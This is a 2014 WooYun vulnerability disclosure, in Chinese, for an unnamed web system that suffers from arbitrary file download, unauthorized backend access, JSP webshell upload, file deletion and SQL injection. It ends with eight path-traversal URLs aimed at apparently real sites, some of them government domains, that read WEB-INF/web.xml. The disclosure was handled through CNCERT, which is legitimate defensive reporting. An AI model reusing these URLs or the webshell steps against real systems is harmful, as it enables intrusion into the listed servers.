漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-070106
漏洞标题:某系统任意文件下载/任意上传/任意删除/越权操作/SQL注入漏洞
相关厂商:cncert国家互联网应急中心
漏洞作者: xfkxfk
提交时间:2014-07-29 16:45
修复时间:2014-10-27 16:46
公开时间:2014-10-27 16:46
漏洞类型:文件上传导致任意代码执行
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-07-29: 细节已通知厂商并且等待厂商处理中
2014-08-03: 厂商已经确认,细节仅向厂商公开
2014-08-06: 细节向第三方安全合作伙伴开放
2014-09-27: 细节向核心白帽子及相关领域专家公开
2014-10-07: 细节向普通白帽子公开
2014-10-17: 细节向实习白帽子公开
2014-10-27: 细节向公众公开
简要描述:
某系统任意文件下载/任意上传/任意删除/越权操作/SQL注入漏洞
详细说明:
关键字:
0x001、任意文件下载
看看web.xml的内容:
0x002、越权访问(后台直接访问)
附件管理:
0x003、任意文件上传
从上面的附件管理处可以看出,这里有上传功能
这里我们来传一个就是jsp版的shell
返回附件管理页面,看到我们的jsp shell已经成功上传了:
但是这里我们不知道我们的shell地址
不过,从download.jsp的下载功能可以得知,可以直接下载改shell文件,那么具体路径看到是已知的
于是我们来利用任意文件下载漏洞下载download.jsp文件:
看看download.jsp文件内容:
明显得知,是在根目录下的viewfiles目录下
最后得知我们的shell地址:
而且是system权限:
0x004、任意文件删除
我们来删除根目录下的test.txt
删除链接:
成功删除:
0x005、多处SQL注入
第一处:
第二处:
第三处:
第一处SQL注入证明:
漏洞证明:
案例证明:
http://www.szjczx.com/download.jsp?path=../WEB-INF/web.xml
http://www.sxjzj.gov.cn/download.jsp?path=../WEB-INF/web.xml
http://www.ptzjz.com/download.jsp?path=../WEB-INF/web.xml
http://www.hujsjd.com/download.jsp?path=../WEB-INF/web.xml
http://www.lqzjz.com.cn/download.jsp?path=../WEB-INF/web.xml
http://www.sxazj.gov.cn/download.jsp?path=../WEB-INF/web.xml
http://nbzhzjz.com/download.jsp?path=../WEB-INF/web.xml
http://www.pjzjz.cn/download.jsp?path=../WEB-INF/web.xml
修复方案:
问题太大了,换个版本吧。
版权声明:转载请注明来源 xfkxfk@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2014-08-03 09:03
厂商回复:
最新状态:
2014-08-04:CNVD确认并复现所述情况,已经转由CNCERT下发给浙江分中心处置。